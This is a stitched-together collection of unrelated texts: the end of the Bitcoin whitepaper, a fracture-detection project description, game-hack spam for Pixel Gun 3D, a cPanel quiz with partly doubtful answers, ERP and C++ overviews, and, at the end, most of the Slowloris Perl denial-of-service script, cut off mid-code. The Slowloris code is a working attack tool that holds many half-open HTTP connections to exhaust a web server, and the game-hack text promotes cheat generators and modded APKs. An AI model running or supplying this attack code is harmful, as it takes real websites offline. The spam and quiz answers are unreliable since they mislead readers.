simplicity. Nodes work all at once with little coordination. They do not need to be identified, since messages are not routed to any particular place and only need to be delivered on a best effort basis. Nodes can leave and rejoin the network at will, accepting the proof-of-work chain as proof of what happened while they were gone. They vote with their CPU power, expressing their acceptance of valid blocks by working on extending them and rejecting invalid blocks by refusing to work on them. Any needed rules and incentives can be enforced with this consensus mechanism. 8 References [1] W. Dai, "b-money," http://www.weidai.com/bmoney.txt, 1998. [2] H. Massias, X.S. Avila, and J.-J. Quisquater, "Design of a secure timestamping service with minimal trust requirements," In 20th Symposium on Information Theory in the Benelux, May 1999. [3] S. Haber, W.S. Stornetta, "How to time-stamp a digital document," In Journal of Cryptology, vol 3, no 2, pages 99-111, 1991. [4] D. Bayer, S. Haber, W.S. Stornetta, "Improving the efficiency and reliability of digital time-stamping," In Sequences II: Methods in Communication, Security and Computer Science, pages 329-334, 1993. [5] S. Haber, W.S. Stornetta, "Secure names for bit-strings," In Proceedings of the 4th ACM Conference on Computer and Communications Security, pages 28-35, April 1997. [6] A. Back, "Hashcash - a denial of service counter-measure," http://www.hashcash.org/papers/hashcash.pdf, 2002. [7] R.C. Merkle, "Protocols for public key cryptosystems," In Proc. 1980 Symposium on Security and Privacy, IEEE Computer Society, pages 122-133, April 1980. [8] W. Feller, "An introduction to probability theory and its applications," 1957. 9

Using-Deep-Learning-Techniques-perform-Fracture-Detection-Image-Processing Using Different Image Processing techniques Implementing Fracture Detection on X rays Images on 8000 + images of dataset Description About Project: Bones are the stiff organs that protect vital organs such as the brain, heart, lungs, and other internal organs in the human body. There are 206 bones in the human body, all of which has different shapes, sizes, and structures. The femur bones are the largest, and the auditory ossicles are the smallest. Humans suffer from bone fractures on a regular basis. Bone fractures can happen as a result of an accident or any other situation in which the bones are put under a lot of pressure. Oblique, complex, comminute, spiral, greenstick, and transverse bone fractures are among the many forms that can occur. X-ray, computed tomography (CT), magnetic resonance imaging (MRI), ultrasound, and other types of medical imaging techniques are available to detect various types of disorders. So we design the architecture of it using Neural Networks different models, compare the accuracy, and get a result of which model works better for our dataset and which model delivers correct results on a specific related dataset with 10 classes. Basically our main motive is to check that which model works better on our dataset so in future reference we all get an idea that which model gives better type of accuracy for a respective dataset . Proposed Method for Project: we decided to make this project because we have seen a lot of times that report that are generated by computer produce error sometimes so we wanted to find out which model gives good accuracy and produce less error so we start to research over image processing nd those libraries which are used in image processing like Keras , Matplot lib , Image Generator , tensor flow and other libraries and used some of them and implement it on different image processing algorithm like as CNN , VGG-16 Model ,ResNet50 Model , InceptionV3 Model . and then find the best model which gives best accuracy for that we generate classification report using predefined libraries in python such as precision , recall ,r2score , mean square error etc by importing Sklearn. Methodology of Project: Phase 1: Requirement analysis: • Study concepts of Basic Python programming. • Study of Tensor flow, keras and Python API interface . • Study of basic algorithms of Image Processing and neural network And deep learning concepts. • Collect the dataset from different resources and describe it into Different classes(5 Fractured + 5 non fractured). Phase 2: Designing and development: The stages of design and development are further segmented. This step starts with data from the Requirement and Analysis phase, which will lead to the model construction phase, where a model will be created and an algorithm will be devised. After the algorithm design phase is completed, the focus will shift to algorithm analysis and implementation in this project. Phase 3: Coding Phase: Before real coding begins, the task is divided into modules/units and assigned to team members once the system design papers are received. Because code is developed during this phase, it is the developers' primary emphasis. The most time-consuming aspect of the project will be this. This project's implementation begins with the development of a program in the relevant programming language and the production of an error-free executable program. Phase 4: Testing Phase: When it comes to the testing phase, we may test our model based on the classification report it generates, which contains a variety of factors such as accuracy, f1score, precision, and recall, and we can also test our model based on its training and testing accuracy. Phase 5: Deployment Phase: One of our goals is to bring all of the previous steps together and put them into practice. Another goal is to deploy our model into a python-based interface application after comparing the classification reports and determining which model is best for our dataset.

A collection of awesome software, libraries and frameworks, design and architecture principles, books and videos, important resources and best practices about Distributed Systems & Architecture

Pixel Gun 3D Hack - Get Unlimited Gems and Coins (iOS/Android) … Pixel Gun 3D hack and cheats features. The Pixel Gun 3D hack on our website is the most recent one. Here you have the listed features: Free Coins: Generate as much Coins as you need; Free Gems: Limited but huge amount to generate available; No charge: It is free to use without any hidden costs; No download: The hack for Pixel Gun 3D is online and you don’t need to download anything. Hack For Pixel Gun 3D - Generate Free Coins and Gems (New … Pixel Gun 3D hacks have always been around but some of them were always better than the others and most of them weren't really reliable to tell the truth. This is precisely why Game Glitcher's proof this, with the new and improved way to hack Pixel Gun 3D. The hack is primarily used to generate free gems to the players who need them although it can ... Pixel Gun 3D Cheats Best way to get Unlimited Coins and Gems Pixel Gun 3D Cheats Best way to get Unlimited Coins and Gems. Digital gaming has become the first choice of millions of users now for entertainment. There is no wonder behind it because it is the easiest way to quality entertainment. Games like Pixel Gun 3D are available on the internet free of cost and you can make them more exciting with Pixel Gun 3D Cheats as well. ... You should also try to use Pixel Gun … Pixel Gun 3D Hack Cheats Free Gems Coins The use of a pixel gun 3d hack is one of the easiest ways of gathering the required amount of funds quickly. Keys; Keys are a kind of specific currency which cannot be used everywhere. It is added for a specific task. The players can spend key for unlocking the event chests and get a chance of claiming pixel gun 3d free coins. Pixel Gun 3D Hack - Cheats4Unlimited.com Pixel Gun 3D Hack was made special to get Unlimted Coins, Gems. It works without jailbreak and root. The cheat codes work on iOS and Android. Game Pixel Gun 3D Cheats is suitable for any device on the Android operating system, makes it possible not only Pixel Gun 3D Mod Apk V21.6 2021 [Unlimited Gems/Coins] Pixel Gun 3D FPS Shooter & Battle Royale v 21.6.1 Hack mod apk (Unlimited Money) Version : 21.6.1. Pixel Gun 3D is a fun multiplayer first person shooter. Download the game to enjoy pixel graphics, competitive style and more: Team up with friends, reach the best divisions with your clan and win valuable prizes. Pixel Gun 3D FPS Shooter & Battle Royale v 21.6.1 Hack mod apk ... 2. Extract and copy folder “com.pixel.gun3d” to “Android/Obb/” 3. Play and enjoy it. Summary of Pixel Gun 3D mod apk : As we said, Pixel Gun 3D mod apk is one of the special and very popular Minecraft games in action style, which you can download latest version from the great RevDL site with unlimited jams and coins. Pixel Gun 3D Mod Apk v21.2.3 Hack (Coins,Gems) + Obb … Tags # pixel gun 3d apk mod # pixel gun 3d gems hack Whatsapp About Urban Mods Templatesyard is a blogger resources site is a provider of high quality blogger template with premium looking layout and robust design. Pixel Gun 3D Hack - Can You Really Get Unlimited Gems And Coins? Pixel Gun 3D Hack assists the players in collecting the required funds to unlock various beneficial aspects and elements of the game. It serves as the best tool to let them generate gems and coins with no set limit. It is easy to use and fast with numerous items to offer. Created by professional mobile tool developers, the tool is a secure way to advance in the game quickly. Using Pixel Gun 3D … Pixel Gun 3D Hack Cheats Free Gems Coins

Which of the following options best describes the role of Shared Hosting on a web server? Providing hosting for a single website owned by different people on multiple servers. Providing hosting for a single website owned by one person on one server. Providing hosting for multiple websites owned by different people on one server. Providing hosting for multiple websites owned by one person on one server. 3 Which of the following capabilities can a cPanel account user perform easily from within the cPanel account interface without the aid of a system administrator? File and configuration management. Relocating the physical server. Upgrading server hardware and equipment. Installing new database software. 1 File and configuration management. Which of the following options best describes a core benefit to using cPanel & WHM, as a web hosting provider operating on a cPanel & WHM environment? cPanel users are able to create new virtualization resources to help host their web applications. cPanel users are able to set up network tunnels to establish secure communication between servers. cPanel users are able to establish and self-manage their own network routing configurations. cPanel users are able to self-manage configurations and software, reducing the support demand on the web host. 4 cPanel users are able to self-manage configurations and software, reducing the support demand on the web host Which of the following options best describes one way that cPanel makes installation of cPanel & WHM an easy process? cPanel provides a single command that can be copied and pasted onto the command line. cPanel provides a single, 16-step procedure with comprehensive documentation to guide customers through each step. cPanel provides a single executable that can be launched using a remotely delivered API request. cPanel provides a single CD-ROM that can be mailed internationally, free of charge. 1 cPanel provides a single command that can be copied and pasted onto the command line. Which of the following statistics does a cPanel account have access to from within the cPanel account interface? Bandwidth usage Server CPU temperature Other accounts' disk usage Server startup logs 1 Bandwidth usage cPanel provides multiple database software options for server administrators to choose from. MySQL is one of these options. Which of the following indicates one of the other options that are supported and provided by cPanel? MariaDB MSSQL IBM DB2 MongoDB 1 MariaDB Assuming "domain.com" is replaced with your actual domain on a cPanel & WHM server, which of the following website addresses would not bring you to a cPanel login page? cpanel.domain.com domain.com www.domain.com/cpanel www.domain.com:2083 2 domain.com After logging into an email account's webmail interface, the account user can then perform which of the following tasks directly from within their email dashboard interface? Configure FTP settings. Configure spam filtering settings. Configure SSL certificates. Configure PHP version settings. 2 Configure spam filtering settings. Which of the following options indicates a cPanel & WHM feature that can provide users with access to the server's command line interface (or, CLI) directly from within the cPanel or WHM interfaces? Server Command Shell Server Control Terminal 4 Terminal Assuming that your server's IP address is '12.34.56.78', which of the following services could be reached by navigating to the following address in your browser? https://12.34.56.78:2087 Webhost Manager (WHM) cPanel Support Center (CPSC) Server Status Display (SSD) Systems Control Center (SCC) 4 Webhost Manager (WHM) What does the acronym WHM stand for, in cPanel & WHM? Wide Home Maker Web Hero Master Whole Host Manipulator Web Host Manager 4 Web Host Manager A user who has little-to-no experience in server management will be able to do what? Run various command line commands Use the product out-of-the-box Manage several Windows programs. Add RAM to the server 2 Use the product out-of-the-box Of the following options, which of these are cPanel & WHM features that would be of interest to a programmer or web developer? SSL AFK SMTP API API About how long does it take to set up a mailing-list in cPanel? 5m 1m 1h 10m 2 1m Which of the following choices describes the method that a customer would use to access their cPanel or WHM interfaces, once it's been installed on a server? Using a web browser, like Chrome or Firefox. Using a FTP application, like FileZilla or FireFTP. Using a search engine, like Google or Yahoo. Using a social media platform, like Facebook or LinkedIn. 1 Using a web browser, like Chrome or Firefox. Of the following features found in a cPanel account interface, which would most likely be considered as important to a beginner-level customer seeking a cPanel & WHM web host? Apache Handlers Perl Modules Email Forwarders SSH Access 1 Apache Handlers Of the following services, which of these can be managed by website owners using only their cPanel account interface? Firewall Configuration Database Server Upgrades Scheduled Tasks EasyApache 4 Configuration 3 Scheduled Tasks Which of the following features available in the cPanel account interface allows new website files to easily be created, uploaded and edited by the user, directly from within the cPanel interface? BoxTrapper File Handler File Manager MultiPHP Manager 3 File Manager Which of the following features found in the cPanel account interface will allow a cPanel account user to create subaccounts to give email, FTP, and webdisk access to additional users? File Manager Aliases User Manager Contact Information 3 User Manager Which of the following feature categories within a cPanel account interface will allow users to view their Bandwidth usage statistics? Email Metrics Advanced Domains 2 Metrics Which of the following online resources provided by cPanel is the ideal place for customers to submit cPanel & WHM feature ideas, improvements, and suggestions for our developers to consider? The cPanel Documentations Site cPanel University The cPanel Store The cPanel Feature Request Site 4 The cPanel Feature Request Site confirm Which of the following services does cPanel provide for every customer with an active cPanel license? Free technical support, support services, and customer assistance. Free technical support with our automated AI chatbot, cPanel Pete. No human support is available. Free server-build assessments and cost estimates. Free quotes on the cost of getting technical support from cPanel. 1 Free technical support, support services, and customer assistance. confirm from website Which of the following options indicates the office hours in which the cPanel Technical Support Analyst team is available? 24 hours a day, 365 days a year. 7 days a week, from 9AM to 5PM, Central Standard Time. Weekdays from 6AM to 6PM, Central Standard Time. 12 hours a day, 182.5 days a year. 1 24 hours a day, 365 days a year. Which of the following types of applications can be created and managed with the cPanel account interface's Application Manager feature? 'Amethyst on Tracks' Applications Node.js Applications YAML Applications PHP Applications 2 Node.js Applications confirm Which of the following services does our support team provide for customers coming from DirectAdmin, Plesk, and Ensim control panels? Free estimates. Free migration. Free optimization. Free coupons. 2 Free migration confirm from website We offer free migration services for customers who use the following ... Plesk®. DirectAdmin. Ensim®. Which of the following options indicates the frequency of major updates being released for the product each year? Bi-annual releases. every two years Quarterly releases. every 3 months Weekly releases. Centennial releases. hundread year 2 Quarterly releases confirm from website Which of the following indicates cPanel's flagship product? CoreProc & Litespeed AppConfig & cPsrvd EasyApache & cPHulk cPanel & WHM 3 EasyApache & cPHulk In 2017, cPanel celebrated its anniversary of how many years? 5 years 50 years 20 years 100 years 20 confirm Which of the following categories found within the WHM interface provide a number of helpful features for administrators to secure their server with? Policy Control Severity Monitor Security Center Server Command 3 Security Center Which of the following options indicates an actual interface within WHM that will allow administrators to specify which features are available to specific users or packages on the server? Adjust Package Option Selector Feature Manager Policy Manager 3 Feature Manager confirm from whm Which of the following options best describes WHM's EasyApache feature? An administrative feature that makes web server software changes fast and easy. An administrative feature that makes processor overclocking calculation estimates fast and easy. An administrative feature that makes printer calibration fast and easy. An administrative feature that makes email queue management fast and easy. 1 An administrative feature that makes web server software changes fast and easy. cPanel Support will provide which of the following services for customers that request it? Performing cPanel & WHM installations. Performing TSLC MicroPort adjustments. Providing financial advice. Providing IANA-approved routing. 1 Performing cPanel & WHM installations. Which of the following options best describes an interface within WHM that allows administrators to easily create sets of limitations for different types of accounts, commonly based on some arrangement of web host pricing options? Packages >> Add a Package Limitations >> Create Limits Types >> New Type Features >> Set Restrictions 1 Which of the following options indicates an actual feature included with EasyApache 4 that allows accounts on the same server to use different versions of PHP simultaneously? cPPHP MyPHP YourPHP MultiPHP 4 MultiPHP Which of the following options are important for a customer to have on their server, in order to allow their cPanel & WHM installation to be licensed properly? A Google Mail address. A home postal address. A public IP address. A domain name address. 3 A public IP address. Which of the following options indicates an actual feature within WHM that can be used to migrate one or more accounts between servers? Transfer Tool Account Relocate Server Profiler Migration Assist 1 Which of the following options best describes a benefit of using SSL certificates to secure websites hosted on your server? They ensure that communication between your server and the internet is safe and encrypted. They ensure that communication between your server and the internet is officially approved by the OIBC (Official Internet Bureau of Communications). They ensure that communication between your server and the internet is only visible by explicitly allowed individuals. They ensure that communication between your server and the internet cannot occur. 1 They ensure that communication between your server and the internet is safe and encrypted. Which of the following Content Management Systems (CMS) have a feature built into cPanel that allows customers to manage its installations and updates from within the cPanel account interface? Joomla! Drupal WordPress Typo3 3 WordPress Which of the following options indicates an actual security feature of cPanel & WHM servers that acts as a safety net for website security by using rules created by security authorities to intercept malicious attempts at exploiting websites and web applications? AuthMod LockDown ModSecurity SecurityNet 3 ModSecurity Which of the following operating systems can cPanel & WHM NOT be installed or used on? Amazon Linux Servers Windows Servers CentOS Servers Redhat Servers 2 Windows Servers Which of the following features available in WHM can help customers migrate easily between servers? Feature Manager Transfer Tool EasyApache 4 Security Advisor Transfer Tool Which of the following options best describes the role of a web hosting control panel? Software on the operating system that provides a visual read-out of server specifications and statistics, such as temperature and fan speed. Software on the operating system that provides a basic suite of office utilities, such as a word processor, spreadsheet manager, and a presentation designer. Software on the operating system that provides a graphical interface designed to help automate server administration tasks. Software on the operating system that provides a desktop environment similar to Microsoft Windows or Apple's MacOS. Software on the operating system that provides a graphical interface designed to help automate server administration tasks. Which of the following operating systems are supported by cPanel & WHM's official system requirements? Windows Server 2018 CentOS Server Debian Server Ubuntu Server CentOS Server

Frenzy OS is a custom-built desktop operating system designed to deliver maximum performance with minimal system resources. It is best suited for students and developers looking for a fast, minimal, and efficient system. Frenzy OS focuses on simplicity, speed, and learning.

a Clean Architecture-based Human Resources Leave Management system built with .NET 8, MediatR, and AutoMapper, demonstrating best practices in API development and domain-driven design.

Enterprise resource planning (ERP) is business packages software that allows an organization to use a system of vERP applications to manage the business and Automobiles many Manufacturing functions related to technology, services and human resources. ERP software integrates all facets of an operation — including product planning, development, manufacturing, sales and marketing — in a single database, application and user interface. ERP is an Enterprise Application for ERP packages ERP software is considered to be a type of enterprise packages, that is software designed to be used by larger businesses and often requires dedicated teams to customize and analyze the data and to handle upgrades and deployment. In contrast, Small business ERP applications are lightweight business management software solutions, often customized for a specific business industry or vertical. ERP Software Modules Explained ERP software typically consists of multiple enterprise Automobiles modules that are individually purchased, based on what best meets the specific needs and technical capabilities of the organization. Each ERP module is focused on one area of business processes, such as product development or marketing. Some of the most common ERP modules include those for product planning, material purchasing, inventory control, distribution, accounting, marketing, finance and HR. A business will typically use a combination of different modules to manage back-office activities and tasks including the following: Distribution process management, supply chain management, services knowledge base, configure, prices, improve accuracy of financial data, facilitate better project planning, automate employee life-cycle, standardize critical business procedures, reduce redundant tasks, assess business needs, accounting and financial applications, lower purchasing costs, manage human resources and payroll. As the ERP methodology has become more popular, ERP Customized software have merged to help business managers implement ERP in to other business activities and may incorporate modules for CRM and business demo in kolkata, presenting it as a single ERP package. Recommended Reading: The Difference Between CRM and ERP The basic goal of using an enterprise resource planning system is to provide one central repository for all information that is shared by all the various ERP facets to improve the flow of data across the organization. Enterprise ERP Trends The ERP field can be slow to change, but the last couple of years have unleashed forces which are fundamentally shifting the entire area. The following new and continuing trends affect enterprise ERP software: 1. Mobile ERP Executives and employees want real-time access to information, regardless of where they are. It is expected that businesses will embrace mobile ERP for the reports, dashboards and to conduct key business processes. 2. Cloud ERP The cloud has been advancing steadily into the enterprise for some time, but many ERP users have been reluctant to place data cloud. Those reservations have gradually been evaporating, however, as the advantages of the cloud become apparent. 3. Social ERP There has been much hype around social media and how important —or not — it is to add to ERP systems. Certainly, vendors have been quick to seize the initiative, adding social media packages to their ERP systems with much fanfare. But some wonder if there is really much gain to be had by integrating social media with ERP. 4. Two-tier ERP Enterprises once attempted to build an all-encompassing ERP system to take care of every aspect of organizational systems. But some expensive failures have gradually brought about a change in strategy – adopting two tiers of ERP. ERP Vendors Depending on your organization's size and needs there are a number of enterprise resource planning software vendors to choose from in the large enterprise, mid-market and the small business ERP market. Gartner's annual market share reports put SAP, Oracle, Sage, Microsoft and Net Suite among the top vendors, but vERP data suggests that SAP and Oracle are easily the biggest two, with vERP. http://www.verp.in/ERP-Packages

What is C++? C++ is a general-purpose, object-oriented programming language. It was created by Bjarne Stroustrup at Bell Labs circa 1980. C++ is very similar to C (invented by Dennis Ritchie in the early 1970s). C++ is so compatible with C that it will probably compile over 99% of C programs without changing a line of source code. Though C++ is a lot of well-structured and safer language than C as it OOPs based. Some computer languages are written for a specific purpose. Like, Java was initially devised to control toasters and some other electronics. C was developed for programming OS. Pascal was conceptualized to teach proper programming techniques. But C++ is a general-purpose language. It well deserves the widely acknowledged nickname "Swiss Pocket Knife of Languages." C++ is a cross-platform language that can be used to create high-performance applications. C++ was developed by Bjarne Stroustrup, as an extension to the C language. C++ gives programmers a high level of control over system resources and memory. The language was updated 3 major times in 2011, 2014, and 2017 to C++11, C++14, and C++17. About C++ Programming Multi-paradigm Language - C++ supports at least seven different styles of programming. Developers can choose any of the styles. General Purpose Language - You can use C++ to develop games, desktop apps, operating systems, and so on. Speed - Like C programming, the performance of optimized C++ code is exceptional. Object-oriented - C++ allows you to divide complex problems into smaller sets by using objects. Why Learn C++? C++ is used to develop games, desktop apps, operating systems, browsers, and so on because of its performance. After learning C++, it will be much easier to learn other programming languages like Java, Python, etc. C++ helps you to understand the internal architecture of a computer, how computer stores and retrieves information. How to learn C++? C++ tutorial from Programiz - We provide step by step C++ tutorials, examples, and references. Get started with C++. Official C++ documentation - Might be hard to follow and understand for beginners. Visit official C++ documentation. Write a lot of C++ programming code- The only way you can learn programming is by writing a lot of code. Read C++ code- Join Github's open-source projects and read other people's code. C++ best programming language? T he answer depends on perspective and requirements. Some tasks can be done in C++, though not very quickly. For example, designing GUI screens for applications. Other languages like Visual Basic, Python have GUI design elements built into them. Therefore, they are better suited for GUI type of task. Some of the scripting languages that provide extra programmability to applications. Such as MS Word and even photoshop tend to be variants of Basic, not C++. C++ is still used widely, and the most famous software have their backbone in C++. This tutorial will help you learn C++ basic and the advanced concepts. Who uses C++? Some of today's most visible used systems have their critical parts written in C++. Examples are Amadeus (airline ticketing) Bloomberg (financial formation), Amazon (Web commerce), Google (Web search) Facebook (social media) Many programming languages depend on C++'s performance and reliability in their implementation. Examples include: Java Virtual Machines JavaScript interpreters (e.g., Google's V8) Browsers (e.g., Internet Explorer, Mozilla's Firefox, Apple's Safari, and Google's Chrome) Application and Web frameworks (e.g., Microsoft's .NET Web services framework). Applications that involve local and wide area networks, user interaction, numeric, graphics, and database access highly depend on C++ language. Why Use C++ C++ is one of the world's most popular programming languages. C++ can be found in today's operating systems, Graphical User Interfaces, and embedded systems. C++ is an object-oriented programming language which gives a clear structure to programs and allows code to be reused, lowering development costs. C++ is portable and can be used to develop applications that can be adapted to multiple platforms. C++ is fun and easy to learn! As C++ is close to C# and Java, it makes it easy for programmers to switch to C++ or vice versa Definition - What does C++ Programming Language mean? C++ is an object oriented computer language created by notable computer scientist Bjorne Stroustrop as part of the evolution of the C family of languages. Some call C++ “C with classes” because it introduces object oriented programming principles, including the use of defined classes, to the C programming language framework. C++ is pronounced "see-plus-plus." C++ Variables Variables are the backbone of any programming language. A variable is merely a way to store some information for later use. We can retrieve this value or data by referring to a "word" that will describe this information. Once declared and defined they may be used many times within the scope in which they were declared. C++ Control Structures When a program runs, the code is read by the compiler line by line (from top to bottom, and for the most part left to right). This is known as "code flow." When the code is being read from top to bottom, it may encounter a point where it needs to make a decision. Based on the decision, the program may jump to a different part of the code. It may even make the compiler re-run a specific piece again, or just skip a bunch of code. You could think of this process like if you were to choose from different courses from Guru99. You decide, click a link and skip a few pages. In the same way, a computer program has a set of strict rules to decide the flow of program execution. C++ Syntax The syntax is a layout of words, expression, and symbols. Well, it's because an email address has its well-defined syntax. You need some combination of letters, numbers, potentially with underscores (_) or periods (.) in between, followed by an at the rate (@) symbol, followed by some website domain (company.com). So, syntax in a programming language is much the same. They are some well-defined set of rules that allow you to create some piece of well-functioning software. But, if you don't abide by the rules of a programming language or syntax, you'll get errors. C++ Tools In the real world, a tool is something (usually a physical object) that helps you to get a certain job done promptly. Well, this holds true with the programming world too. A tool in programming is some piece of software which when used with the code allows you to program faster. There are probably tens of thousands, if not millions of different tools across all the programming languages. Most crucial tool, considered by many, is an IDE, an Integrated Development Environment. An IDE is a software which will make your coding life so much easier. IDEs ensure that your files and folders are organized and give you a nice and clean way to view them. Types of C++ Errors Another way to look at C++ in a practical sense is to start enumerating different kinds of errors that occur as the written code makes its way to final execution. First, there are syntax errors where the code is actually written in an illegible way. This can be a misuse of punctuation, or the misspelling of a function command or anything else that compromises the integrity of the syntax as it is written. Another fundamental type of error is a compiler error that simply tells the programmer the compiler was not able to do its work effectively. As a compiler language, C++ relies on the compiler to make the source code into machine readable code and optimize it in various ways. A third type of error happens after the program has been successfully compiled. Runtime errors are not uncommon in C++ executables. What they represent is some lack of designated resource or non-working command in the executable program. In other words, the syntax is right, and the program was compiled successfully, but as the program is doing its work, it encounters a problem, whether that has to do with interdependencies, operating system requirements or anything else in the general environment in which the program is trying to work. Over time, C++ has remained a very useful language not only in computer programming itself, but in teaching new programmers about how object oriented programming works.

#!/usr/bin/perl -w use strict; use IO::Socket::INET; use IO::Socket::SSL; use Getopt::Long; use Config; $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors print <<EOTEXT; CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc:::: CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc::: CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc:: CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc:::: CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc: ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c. . .coOOO888OOOOCoooooccoCOOOOOCOOOO OOOOO888\@8\@88888888Oo:. . ...cO888Oc.. :oOOOOOOOOOCCoocooCoCoCOOOOOOOO COOO888\@88888888888Oo:. .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO CCCCOO888888O888888Oo. .o8Oo. .cO88Oo: :. .:..ccoCCCooCooccooccccoooooCCCC coooCCO8\@88OO8O888Oo:::... .. :cO8Oc. . ..... :. .:ccCoooooccoooocccccooooCCC :ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::.. .... ..:cooCooooccccc::::ccooCCooC .:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:... ....:ccoooocccc:::::::::cooooooC ....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo .......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc ...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co .............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo ..... ............. .coocoooCCoco:::ccccccc:::ccc::.......... ....:::cc::::coC . . ... .... .. .:cccoCooc:.. ::cccc:::c:.. ......... ......::::c:cccco . .. ... .. .. .. ..:...:cooc::cccccc:..... ......... .....:::::ccoocc . . .. ..::cccc:.::ccoocc:. ........... .. . ..:::.:::::::ccco Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client EOTEXT my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections ); my ( $cache, $httpready, $method, $ssl, $rand, $tcpto ); my $result = GetOptions( 'shost=s' => \$shost, 'dns=s' => \$host, 'httpready' => \$httpready, 'num=i' => \$connections, 'cache' => \$cache, 'port=i' => \$port, 'https' => \$ssl, 'tcpto=i' => \$tcpto, 'test' => \$test, 'timeout=i' => \$timeout, 'version' => \$version, ); if ($version) { print "Version 0.7\n"; exit; } use Data::Dumper; warn Dumper \$host; unless ($host) { print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n"; print "\n\tType 'perldoc $0' for help with options.\n\n"; exit; } unless ($port) { $port = 80; print "Defaulting to port 80.\n"; } unless ($tcpto) { $tcpto = 5; print "Defaulting to a 5 second tcp connection timeout.\n"; } unless ($test) { unless ($timeout) { $timeout = 100; print "Defaulting to a 100 second re-try timeout.\n"; } unless ($connections) { $connections = 1000; print "Defaulting to 1000 connections.\n"; } } my $usemultithreading = 0; if ( $Config{usethreads} ) { print "Multithreading enabled.\n"; $usemultithreading = 1; use threads; use threads::shared; } else { print "No multithreading capabilites found!\n"; print "Slowloris will be slower than normal as a result.\n"; } my $packetcount : shared = 0; my $failed : shared = 0; my $connectioncount : shared = 0; srand() if ($cache); if ($shost) { $sendhost = $shost; } else { $sendhost = $host; } if ($httpready) { $method = "POST"; } else { $method = "GET"; } if ($test) { my @times = ( "2", "30", "90", "240", "500" ); my $totaltime = 0; foreach (@times) { $totaltime = $totaltime + $_; } $totaltime = $totaltime / 60; print "This test could take up to $totaltime minutes.\n"; my $delay = 0; my $working = 0; my $sock; if ($ssl) { if ( $sock = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } else { if ( $sock = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } if ($working) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "GET /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; if ( print $sock $primarypayload ) { print "Connection successful, now comes the waiting game...\n"; } else { print "That's odd - I connected but couldn't send the data to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } } else { print "Uhm... I can't connect to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } for ( my $i = 0 ; $i <= $#times ; $i++ ) { print "Trying a $times[$i] second delay: \n"; sleep( $times[$i] ); if ( print $sock "X-a: b\r\n" ) { print "\tWorked.\n"; $delay = $times[$i]; } else { if ( $SIG{__WARN__} ) { $delay = $times[ $i - 1 ]; last; } print "\tFailed after $times[$i] seconds.\n"; } } if ( print $sock "Connection: Close\r\n\r\n" ) { print "Okay that's enough time. Slowloris closed the socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } else { print "Remote server closed socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } if ( $delay < 166 ) { print <<EOSUCKS2BU; Since the timeout ended up being so small ($delay seconds) and it generally takes between 200-500 threads for most servers and assuming any latency at all... you might have trouble using Slowloris against this target. You can tweak the -timeout flag down to less than 10 seconds but it still may not build the sockets in time. EOSUCKS2BU } } else { print "Connecting to $host:$port every $timeout seconds with $connections sockets:\n"; if ($usemultithreading) { domultithreading($connections); } else { doconnections( $connections, $usemultithreading ); } } sub doconnections { my ( $num, $usemultithreading ) = @_; my ( @first, @sock, @working ); my $failedconnections = 0; $working[$_] = 0 foreach ( 1 .. $num ); #initializing $first[$_] = 0 foreach ( 1 .. $num ); #initializing while (1) { $failedconnections = 0; print "\t\tBuilding sockets.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 0 ) { if ($ssl) { if ( $sock[$z] = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] 